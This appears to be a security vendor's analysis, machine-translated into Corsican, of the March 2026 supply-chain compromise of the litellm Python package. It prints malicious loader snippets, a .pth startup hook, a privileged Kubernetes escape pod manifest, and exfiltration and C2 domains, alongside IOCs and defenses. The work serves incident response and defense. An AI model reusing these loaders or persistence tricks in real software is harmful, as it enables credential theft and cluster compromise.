Attaccu à a catena di furnimentu LiteLLM

Attaccu à a catena di furnimentu LiteLLM: Cumu TeamPCP hà fattu backdooring di l'infrastruttura AI

Perchè Questa Materia

U 24 di marzu di u 2026, u pupulare pacchettu Python litellm, una passerella proxy LLM universale aduprata da millaie di enterprises per indirizzà u trafficu trà l'applicazioni è i fornitori di IA cum'è OpenAI, Anthropic, Google è AWS Bedrock, hè statu compromessu in silenziu nantu à PyPI. Dui versioni avvelenate (1.82.7 è 1.82.8) sò state publicate à 13 minuti l'una da l'altra, purtendu un payload multi-stadio chì arrubava credenziali, esfiltrava secreti di u cloud, si sparghjia lateralmente in i cluster Kubernetes è stallava una backdoor persistente cù capacità di esecuzione di codice remota.

Cù apprusamenti 3.6 milioni di scaricamenti à ghjornu è un implementazione prufonda in l'infrastruttura IA nativa di u cloud, litellm si trova à u crucivia di tuttu ciò chì l'attaccanti muderni desideranu: chjave API per ogni principale fornitore di IA, credenziali IAM cloud, sicreti Kubernetes è chjave SSH.

Ma u compromessu di u litellm ùn hè statu un avvenimentu isulatu. Hè statu u culmine di un campagna di cinque ghjorni, cinque ecosistemi da un attore di minaccia cunnisciutu cum'è TeamPCP, una campagna chì hà prima avvelenatu i scanner di sicurezza (Aqua Trivy, Checkmarx KICS), dopu hà utilizatu u rubatu CI/CD credenziali per trasmette in cascata in npm, OpenVSX, è infine PyPI. L'attaccanti anu trasfurmatu in arma i stessi strumenti nantu à i quali l'urganisazioni si basanu per prutege e so catene di furnimentu.

Questu attaccu rapprisenta un cambiamentu radicale in a sofisticazione di e minacce di a catena di furnimentu. U cuncepimentu multi-hop, cross-ecosystem, compromette l'arnesi di sicurezza per ghjunghje à un valore elevatu. Infrastruttura di l'IA, riflette un livellu di pianificazione è di maturità operativa coerente cù strumenti d'attaccu sempre più cummercializati. I carichi utili sò stati iterati in tempu reale (trè varianti di payload appariscenu in u codice surghjente, cumprese e versioni precedenti cummentate), l'infrastruttura C2 hè stata registrata u ghjornu prima di l'attaccu, è i duminii di esfiltrazione sò stati scelti cù cura per imità l'infrastruttura legittima di u venditore. U raccoglitore di credenziali sistematicamente cumpletu, chì copre più di 15 categurie, cumpresi obiettivi di nicchia cum'è e chjave di firma Cardano è e cunfigurazioni WireGuard, suggerisce un gradu di cumpletezza chì indica u sviluppu di malware assistitu da l'IA cum'è un multiplicatore di forza.

Timeline

Data (UTC) Event
March 19 TeamPCP cumprumisce i tag d'azione GitHub di Aqua Trivy, rimpiazzenduli cù codice maliziosu chì esfiltra. CI/CD sicreti da i repositori à valle
March 21 U cumprumissu si stende à Checkmarx KICS è AST GitHub Actions aduprendu tecniche simili
22 di marzu, 06:35 BerriAI publica litellm 1.82.6 (ultima versione pulita) via normale CI/CD pipeline chì usa Trivy per a scansione di sicurezza
March 23 TeamPCP registra models.litellm.cloud (duminiu di esfiltrazione). Cumprummette più di 66 pacchetti npm è estensioni OpenVSX.
24 di marzu, 10:39 litellm 1.82.7 publicatu in PyPI -- carica utile iniettata in proxy_server.py à u scopu di u modulu. Esegue à l'impurtazione
24 di marzu, 10:52 litellm 1.82.8 publicatu 13 minuti dopu -- aghjusta litellm_init.pth, un hook di cunfigurazione di percorsu Python chì si esegue à ogni avviu di l'interprete Python, micca solu à l'impurtazioni di litellm. Mostra una rapida iterazione di u payload.
24 di marzu, ~16:00 PyPI elimina e duie versioni dopu à i rapporti di a cumunità. E versioni sò cumpletamente sguassate (micca strappate) da l'indice, ancu s'è i tarball CDN restanu accessibili.

Finestra di esposizione: circa 5.5 ore. Durante questu tempu, qualsiasi pip install litellm, pip install --upgrade litellm, o CI/CD pipeline Tirà l'ultima versione averia eseguitu u payload.

Cumu hè entratu u malware: U compromessu in cascata

U pacchettu litellm ùn hè statu micca violatu direttamente. L'attaccante ci hè ghjuntu per mezu di un attaccu à a catena di furnimentu à dui salti:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM's CI/CD pipeline hà utilizatu Trivy cum'è scanner di sicurezza - u strumentu stessu cuncipitu per catturà e vulnerabilità era ellu stessu u vettore d'attaccu. Perchè u pipeline hà riferitu Trivy per tag mutabile piuttostu chè un appuntatu commit SHA, l'azione cumprumessa hè stata eseguita automaticamente. L'azione maligna di Trivy hà esfiltratu i sicreti di l'ambiente, cumpresi PYPI_PUBLISH gettone, dendu à TeamPCP accessu direttu à a publicazione di u prugettu litellm PyPI.

Sta strategia di "cumprumette e guardie" hè una caratteristica di a campagna TeamPCP. Cuncentrandosi prima nantu à i strumenti di sicurezza (Trivy, Checkmarx KICS), l'attaccanti anu simultaneamente disattivatu a rilevazione è ottenutu un accessu privilegiatu à e catene di furnimentu à valle.

Analisi tecnica: u caricu utile

Punti d'iniezione

Version 1.82.7 — Esecuzione à livellu di modulu in litellm/proxy/proxy_server.py (linea 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Stu codice si trova à u scopu di u modulu trà un literale di dizziunariu è l'uriginale. showwarning() funzione. Si esegue subitu quandu litellm.proxy.proxy_server hè impurtatu - ciò chì accade à ogni usu di a funzionalità proxy di litellm.

Version 1.82.8 - Aggiuntu litellm_init.pth (File di cunfigurazione di u percorsu Python):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

pitone .pth schedarii in site-packages/ sò trattati à ogni avviu di l'interprete, ma solu e linee chì cumincianu cù import sò eseguiti cum'è codice. L'attaccante sfrutta questu cuncatenendu tuttu u payload nantu à un unicu import dichjarazione: import os, subprocess, sys; subprocess.Popen(...)Questu hè assai più aggressivu chè l'iniezione proxy_server.py - si attiva ancu s'è litellm ùn hè mai impurtatu, à ogni lanciu di prucessu Python. U pyproject.toml hè statu mudificatu per include stu schedariu in a distribuzione:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

A versione 1.82.8 hà dunque dui percorsi d'esecuzione indipendentiL'iniezione proxy_server.py (si attiva à l'impurtazione di proxy litellm) è u schedariu .pth (si attiva à qualsiasi avviu Python). A ridondanza hè di per sè notevule - prutege contr'à a rilevazione o a rimuzione di unu di i percorsi da solu. L'escalazione da u tempu d'impurtazione à l'esecuzione in tempu d'avviu solu 13 minuti dopu à 1.82.7 suggerisce chì l'attaccante stava monitorizendu u successu di u spiegamentu è iterendu rapidamente.

Fase 1: Raccolta cumpleta di credenziali

A scrittura interna decodificata hè un vacuum di credenziali meticulosu. Usa os.walk()glob.glob()subprocess.check_output(), è letture dirette di file per scansà tuttu u sistema:

Catigurìa Target
Riconnessione di u sistema hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; chjave di l'ospite da /etc/ssh/
Nuvola (AWS) ~/.aws/credentials, ~/.aws/configCredenziali di rolu IMDS via 169.254.169.254; Gestore di Sicreti ListSecretsSSM DescribeParameters
Nuvola (GCP) ~/.config/gcloud/ (recursivu); $GOOGLE_APPLICATION_CREDENTIALS
Nuvola (Azzurra) ~/.azure/ (recursivu); variabili d'ambiente
Kubernetes Gettoni di contu di serviziu; ca.crt; spaziu di nomi; kubectl get secrets --all-namespacestutti i sicreti via l'API di K8
Schedarii d'ambiente .env, .env.local, .env.production, .env.development, .env.staging — ricerca recursiva (prufundità 6) in tuttu /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
Docker ~/.docker/config.json, /kaniko/.docker/config.json
Gettoni di pacchettu ~/.npmrc, ~/.vault-token, ~/.netrc
e base ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, Configurazioni MongoDB
TLS/SSL Chjavi private da /etc/ssl/private/, Crittemu i certificati, tutti .pem/.key/.p12/.pfx schedari
Git ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Portafogli criptu Bitcoin, keystore Ethereum, coppie di chjave Solana (validatore, votu, participazione, faucet), chjave di firma Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Storia di Shell .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Autentificazione di u sistema /etc/passwd, /etc/shadow, registri d'autentificazione (sessioni SSH accettate)
Chjavi Webhook/API Grep per u web Slackhooks, Discord webhooks, Chjavi/sicreti API in i fugliali di cunfigurazione
VPN Configurazioni di WireGuard da /etc/wireguard/

U scopu di questu harvester hè enciclopedicu. Ùn si rivolge micca solu à e credenziali di u cloud, ma ancu à i portafogli di criptovalute, e password di e basi di dati, e cunfigurazioni VPN è CI/CD sicreti - chì suggerenu chì l'attaccante hà l'intenzione di monetizà i sistemi compromessi attraversu parechji vettori.

Stage 2: Exfiltration Encrypted

I dati arrubati sò criptati è esfiltrati cù un schema di crittografia ibrida:

  • AES-256-CBC crittografia di tutti i dati raccolti cù una chjave di sessione aleatoria di 32 byte (via openssl enc)
  • RSA-4096 crittografia di a chjave di sessione aduprendu a chjave publica integrata di l'attaccante (padding OAEP, via openssl pkeyutl)
  • Tramindui i fugliali cifrati raggruppati cum'è tpcp.tar.gz (U tpcp u prefissu — "TeamPCP" — appare in modu coerente in tutta a campagna)
  • HTTPS POST à https://models.litellm.cloud/ cù Content-Type: application/octet-stream

U duminiu models.litellm.cloud hè statu registratu u 23 di marzu - un ghjornu prima di l'attaccu - è hè cuncipitu per mischjà si cù l'infrastruttura legittima di litellm (u veru prughjettu usa litellm.aiAncu un difensore chì cunnosce a rete è chì rivede u trafficu di uscita ùn puderebbe micca signalà u trafficu versu ciò chì pare esse u puntu finale di u mudellu di litellm.

Fase 3: Backdoor persistente (sysmon.py)

U payload installa una backdoor di polling camuffata da telemetria di u sistema:

  • Caminu~/.config/sysmon/sysmon.py
  • Servicesysmon.service (unità d'utilizatore systemd, descritta cum'è "Serviziu di Telemetria di Sistema")
  • CumpurtamentuDopu à un sonnu iniziale di 300 secondi, i sondaggi https://checkmarx.zone/raw ogni ~50 minuti
  • esicuzzioniScarica l'URL restituita da u C2 à /tmp/pglog, u definisce cum'è eseguibile (chmod 755), l'esegue in una sessione staccata
  • Seguimentu di u statu/tmp/.pg_state impedisce di scaricà torna u listessu payload
  • PersistenzaRestart=alwaysRestartSec=10 - sopravvive à i crash è i riavvii

U duminiu checkmarx.zone hè un typosquat di Checkmarx (a cumpagnia di sicurezza à checkmarx.com), cuncipitu in modu chì l'analisti SOC chì rivedenu i logs di rete vedenu u trafficu versu ciò chì pare esse un venditore di sicurezza legittimu. Questa hè una tecnica di evasione deliberata coerente cù a strategia più larga di TeamPCP di piattassi daretu à a marca di u venditore di sicurezza.

Fase 3b: Muvimentu Laterale di Kubernetes

Sè u sistema cumprumessu hà credenziali di contu di serviziu Kubernetes, u malware enumera tutti i nodi di u cluster è si implementa. baccelli privilegiati à ognunu:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Ogni capsula:

  • Funziona cum'è privilegiatu cù hostPIDhostNetwork, è accessu cumpletu à u sistema di fugliali di l'ospite
  • cioccu chroot /host per installà u listessu sysmon.py backdoor nant'à u sistema di fugliali root di l'ospite
  • U registra cum'è un serviziu systemd, assicurendu chì a persistenza sopravvive à a cancellazione di u pod.
  • chjamatu node-setup-* in u kube-system u spaziu di nomi per apparisce cum'è una infrastruttura di cluster legittima

Questu significa a unicu cumprumessu CI/CD Un corridore cù accessu K8s puderia risultà in u backdoor di ogni nodu in u cluster. — un scenariu catastroficu di muvimentu laterale per l'urganisazioni chì utilizanu litellm cum'è proxy in Kubernetes.

Evoluzione di u Caricu Utile (Varianti Cummentate)

U codice surghjente à e linee 131-132 cuntene duie varianti di payload precedenti cummentate, chì rivelanu u prucessu di sviluppu di l'attaccante:

  • Tutte e trè varianti sparte a listessa infrastruttura di esfiltrazione (models.litellm.cloud), chjave publica RSA-4096, involucru di crittografia ibrida AES-256-CBC + RSA, è tpcp.tar.gz denominazione di fasci
  • Varianti precedenti aghjustatu un Stratu di crittografia RC4 in u script di cullezzione di dati, criptendu i dati raccolti prima di u wrapper AES+RSA esternu. U payload attivu (linea 130) hè statu simplificatu eliminendu stu stratu RC4 internu.
  • E varianti precedenti utilizanu exec() cù StringIO cattura per eseguisce u cullettore in prucessu, mentre chì u payload attivu usa subprocess.run() cù reindirizzamentu stdout — una separazione più pulita chì evita di inquinà u prucessu ospitante
  • Tutte e trè varianti miranu à e stesse categurie di credenziali è percorsi di raccolta.
  • A chjave RC4 in e varianti precedenti era un insultu pruvucativu, coerente cù u cumpurtamentu di ricerca d'attenzione di l'attore in Telegram.

Questu palesa un sviluppu attivu durante l'operazione. L'attaccante hà simplificatu a pila di crittografia è hà migliuratu l'isolamentu di l'esecuzione mantenendu stabili i miri di cullezzione è l'infrastruttura di esfiltrazione.

Indicatori di Compromissu (CIO)

Network

pressure Type Fini
models.litellm.cloud Domain Puntu finale di esfiltrazione (HTTPS POST)
checkmarx.zone Domain Puntu finale di sondaggio C2 (HTTPS GET /raw)

Nota: Ligami di segnalazione esterni checkmarx.zone/static/checkmarx-util-1.0.4.tgz à a fase KICS precedente di a campagna TeamPCP. Questa URL ùn hè stata truvata in i payload litellm analizati quì.

Hash di pacchetti

File SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

Sistema di Archiu

pressure Type Fini
~/.config/sysmon/sysmon.py File Script di backdoor persistente
~/.config/systemd/user/sysmon.service File Unità di persistenza Systemd
/tmp/pglog File Binariu di seconda tappa telecaricatu
/tmp/.pg_state File Seguimentu di u statu C2
litellm_init.pth in site-packages/ File Hook di avviamentu Python (solu v1.82.8)
tpcp.tar.gz File Pacchettu di esfiltrazione criptatu

Kubernetes

pressure Type Fini
node-setup-* baccelli in kube-system U pudellu Capsule di muvimentu laterale privilegiate
sysmon.service nantu à i nodi di u cluster Service Persistenza à livellu d'ospite via escape di pod

Criptografiche

pressure Details
Attaccante chjave publica RSA-4096 Impronta digitale SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Integratu in tutte e trè varianti di carica utile; a stessa chjave signalata in altre operazioni di TeamPCP
tpcp prefissu in artefatti Cunvenzione di numinazione di i fasci (tpcp.tar.gz) coerente in tutta a campagna

Attribuzione: TeamPCP

L'attore di minaccia daretu à sta campagna hè tracciatu cum'è TeamPCP, cunnisciutu ancu cum'è PCPcat, Persy_PCP, ShellForce, è DeadCatx3.

Caratteristiche cunnisciute:

  • Mantene i canali Telegram à @Persy_PCP e @teampcp induve anu burlatu e cumpagnie di sicurezza
  • Funziona in parechji ecosistemi (GitHub Actions, PyPI, npm, OpenVSX)
  • Utilizza duminii typosquat specifichi di u venditore per ogni fase di a campagna (per esempiu, checkmarx.zone per Checkmarx, models.litellm.cloud per litellm)
  • Marcatori d'infrastruttura coerenti: listessa coppia di chjave RSA, tpcp.tar.gz cunvenzione di denominazione, tpcp-docs-* I repositori GitHub sò aduprati cum'è staging dead-drop
  • Mira à i strumenti di sicurezza cum'è punti d'entrata à e catene di furnimentu à valle

Fiducia in l'attribuzioneAltu. A chjave publica RSA spartuta, tpcp A numinazione di l'artefatti, a sovrapposizione di l'infrastruttura C2 è u ritmu operativu in tutta a campagna di cinque ghjorni liganu strettamente i compromessi Trivy, KICS, npm, OpenVSX è litellm à u listessu attore.

MotivazioneProbabilmente finanziariu (furtu di portafogli crittografici, monetizazione di credenziali in u cloud) cumminatu cù a nutorietà (schernu di Telegram). L'ampiezza di a raccolta di credenziali - da AWS IAM à e coppie di chjave di validatore Solana à e cunfigurazioni WireGuard - suggerisce un attore motivatu finanziariamente chì cerca di massimizà u ROI da ogni compromessu.

Possibile assistenza di l'IAU raccoglitore di credenziali hè sistematicamente cumpletu - più di 15 categurie cumprese obiettivi di nicchia cum'è e chjave di firma Cardano, e cunfigurazioni WireGuard è e credenziali Kaniko Docker - in un modu chì hè coerente cù l'enumerazione assistita da l'IA. A velocità di l'iterazione di u payload (trè varianti cù diversi schemi di crittografia), a coordinazione interecosistema (5 ecosistemi in 5 ghjorni) è l'OPSEC operativu (duminii chì impersonanu u venditore, crittografia ibrida, persistenza systemd mascherata da telemetria) suggerenu un livellu di rendimentu chì pò riflette u sviluppu assistitu da l'IA cum'è un multiplicatore di forza. Questa valutazione hè speculativa; l'operatori qualificati puderanu ottene una portata simile senza strumenti IA.

Novi TTP è Tecniche

1. Avvelenamentu di a catena di furnimentu di strumenti di sicurezza (variante T1195.002)

Cumprummette i scanner di sicurezza (Trivy, KICS) cum'è primu passu per ghjunghje à obiettivi à valle hè una nova escalation. L'attaccante ùn hà micca solu cumprumessu una biblioteca - hà cumprumessu l'arnesi chì l'urganisazioni utilizanu per detectar biblioteche cumprumesse. Questu crea un puntu cecu: u scanner chì duveria catturà u codice maliziosu hè ellu stessu u mecanismu di consegna.

2 Python .pth Persistenza di i fugliali (T1546)

lu litellm_init.pth A tecnica in v1.82.8 hè particularmente insidiosa. Python .pth schedarii in site-packages/ sò trattati à ogni avviu di l'interprete; ogni linea chì principia cù import hè eseguitu cum'è codice. Cuncatenendu u payload nantu à un unicu import dichjarazione, l'attaccante riesce à ottene l'esecuzione in ogni prucessu Python - micca solu quandu litellm hè impurtatu. Questu significa chì u payload si attiva ancu se litellm hè installatu ma mai utilizatu, è sopravvive à a riparazione chì rimpiazza u compromessu. .py i schedari senza verificà .pth i schedari.

3. Muvimentu Laterale à Livello di Cluster Kubernetes via Distribuzione di Pod Privilegiati (T1610, T1611)

A creazione automatizata di pod privilegiati nantu à ogni nodu di cluster - cù hostPIDhostNetwork, muntatura di u sistema di fugliali ospitante, è chroot per installà a persistenza - concatena a distribuzione di container (T1610) cù escape to host (T1611) per trasfurmà un unicu caricu di travagliu cumprumessu in una cumprumissione cumpleta di u cluster.

4. Infrastruttura C2 chì impersona u venditore

Praticà models.litellm.cloud (imita litellm) è checkmarx.zone (imita Checkmarx) cum'è endpoints C2/exfil hè cuncipitu per evità u monitoraghju di a rete. L'analisti SOC chì rivedenu u trafficu di uscita vedenu cunnessione HTTPS à ciò chì parenu esse duminii di venditori legittimi.

5. Iterazione Rapida di u Caricu in Volu

A publicazione di a v1.82.7 cù l'esecuzione à u mumentu di l'impurtazione, dopu a v1.82.8 cù l'esecuzione à u mumentu di l'avviu 13 minuti dopu, mostra l'attaccante chì surveglia è s'adatta in tempu reale. E varianti di u payload cummentate (cù diversi schemi di crittografia) cunservate in u codice surghjente cunfermanu u sviluppu attivu durante l'operazione.

Chì pò esse fattu

Questu attaccu sfrutta a fiducia à ogni livellu: fiducia in i strumenti di sicurezza, fiducia in i registri di pacchetti, fiducia in i duminii chì parenu familiari, fiducia in CI/CD automatizazione. Difende si contr'à ella richiede u rinfurzà ognunu di sti limiti di fiducia:

Per i cunsumatori di pacchetti

  • Dipendenze di u pin per hash, micca solu per versione. pip install litellm==1.82.6 --hash=sha256:... averebbe impeditu l'installazione di e versioni compromesse ancu s'elle sò apparse brevemente cum'è l'ultima versione.
  • Aduprate i fugliali di serratura. pip-compilepoetry.lock, e uv.lock catturà versioni esatte è hash. CI/CD duverebbe installà da i lockfiles, micca da i specificatori di versione flottanti.
  • Monitor per .pth i schedari. Audit regulare site-packages/ per imprevisu .pth i fugliali - si eseguiscenu à ogni avviu di Python è sò un mecanismu di persistenza sottovalutatu.
  • Implementà cuntrolli di rete di uscita. L'esfiltrazione à models.litellm.cloud è u sondaggio C2 à checkmarx.zone puderia esse statu catturatu da u filtraggio di uscita basatu nantu à a lista di permessi in ambienti di pruduzzione.

Per i Mantenitori di Pacchetti

  • Pin CI/CD azzioni di commit SHA, micca etichetta. LiteLLM's pipeline hà utilizatu Trivy senza una versione appuntata. S'ellu avia fattu riferimentu aquasecurity/trivy-action@<commit-sha> invece di @latest, l'azione cumprumessa ùn saria stata eseguita.
  • Aduprate gettoni di publicazione di corta durata è cù ambitu. PyPI supporta l'editori di fiducia (basati nantu à OIDC) è i gettoni API cù ambitu. L'esfiltratu PYPI_PUBLISH U gettone ùn duveria avè avutu un accessu di publicazione senza restrizioni è à longa durata.
  • Attivate l'autenticazione à dui fattori nantu à PyPI. Richiede 2FA per tutti i mantenitori è aduprate chjave di sicurezza hardware induve pussibule.
  • Firmà i pacchetti. L'attestazioni Sigstore/PEP 740 permettenu à i cunsumatori di verificà chì un pacchettu hè statu custruitu da u previstu. CI/CD pipeline, micca da un attaccante cù un gettone arrubatu.

Per l'operatori di piattaforme (PyPI, npm, GitHub)

  • Rileva mudelli di publicazione anomali. Dui novi versioni publicati à 13 minuti di distanza, da un IP o un token differente da quellu di solitu, devenu attivà a hold-for-review o a scansione automatica prima chì u pacchettu diventi installabile.
  • Accelerà l'adozione di Trusted Publishers. A publicazione basata annantu à OIDC lega i pacchetti à repositori è flussi di travagliu specifici, rendendu i token arrubati inutili fora di l'uriginale. CI/CD cuntestu.
  • Implementà a scansione di malware in tempu di publicazione. U payload decodificatu base64 in proxy_server.py saria rilevabile da l'analisi statica à u mumentu di a publicazione.

Per l'Ecosistema

  • Trattate l'arnesi di sicurezza cum'è infrastrutture critiche. I KICS di Trivy è Checkmarx sò aduprati da milioni di persone. pipelines. E so Azzioni GitHub devenu esse firmate, appuntate è monitorate cù u listessu rigore cum'è i pacchetti ch'elli scansionanu.
  • Investite in a rilevazione in tempu reale. L'analisi statica da sola ùn pò micca catturà ogni tecnica d'offuscazione. Monitoraghju in tempu reale di l'installazione di u pacchettu hooks, cunnessione di rete inaspettate è mudelli d'accessu à i fugliali suspetti furniscenu una difesa in prufundità.
  • Sparte l'intelligenza di minacce più rapidamente. A finestra d'esposizione di 5.5 ore per litellm puderia esse stata più corta cù una coordinazione più rapida trà i fornitori. I servizii di scansione automatizati cum'è Xygeni MEW, Socket è Snyk anu rilevatu l'anomalia - u collu di buttiglia hè a cunferma umana è u tempu di risposta di u registru.

cunchiusioni

A campagna TeamPCP hè un mumentu spartiacque per software supply chain securityCumprumettendu prima i scanner di sicurezza è aduprenduli cum'è trampolini di lanciu versu l'infrastruttura di l'IA di altu valore, l'attaccanti anu dimustratu chì a catena di furnimentu hè forte quant'è a so dipendenza transitiva più debule, è chì sta dipendenza puderia esse u strumentu di sicurezza di quale vi fidate per mantene a vostra sicurezza.

U compromessu litellm mette in risaltu in particulare u risicu crescente per l'infrastruttura di l'IA. Mentre i gateway proxy LLM diventanu u standard mudellu per enterprise Implementazione di l'IA, cuncentranu l'accessu à e chjave API, l'infurmazioni d'accessu in u cloud è i dati sensibili in un unicu cumpunente. Cumprumette quellu cumpunente hè una chjave scheletru per tutta a pila di l'IA.

L'urganisazioni chì anu installatu litellm 1.82.7 o 1.82.8 durante a finestra di 5.5 ore devenu trattà questu cum'è un compromessu cumpletu di credenziali: rotà tutti i sicreti nantu à i sistemi affettati, verificà i cluster Kubernetes per node-setup-* baccelli in kube-system, caccià ogni sysmon.service unità di sistema, è verificate per litellm_init.pth in Python site-packages/ repertori. Utilizatori di l'imagine ufficiale di Docker (ghcr.io/berriai/litellm) ùn sò stati affettati, postu chì l'imagine hà appuntatu e so dipendenze è ùn hè stata ricustruita durante a finestra di esposizione.

Prupòsitu di lu Author

Cofundatore è CTO

Luis Rodriguez hè cofundatore è direttore tecnicu di Xygeni Security. Cù più di 20 anni di sperienza in a sicurezza di l'applicazioni, si cuncentra nantu à a prutezzione AppSec è e capacità avanzate d'analisi di codice chì aiutanu e squadre à riduce u risicu reale di consegna.

 
sca-tools-software-strumenti-d'analisi-di-cumpusizione
Priorizà, rimedià è assicurà i vostri risichi di software
Uttene u vostru contu gratuitu.
Nisuna carta di creditu necessaria.

Assicurà u vostru sviluppu è a consegna di software

cù a Suite di Prodotti Xygeni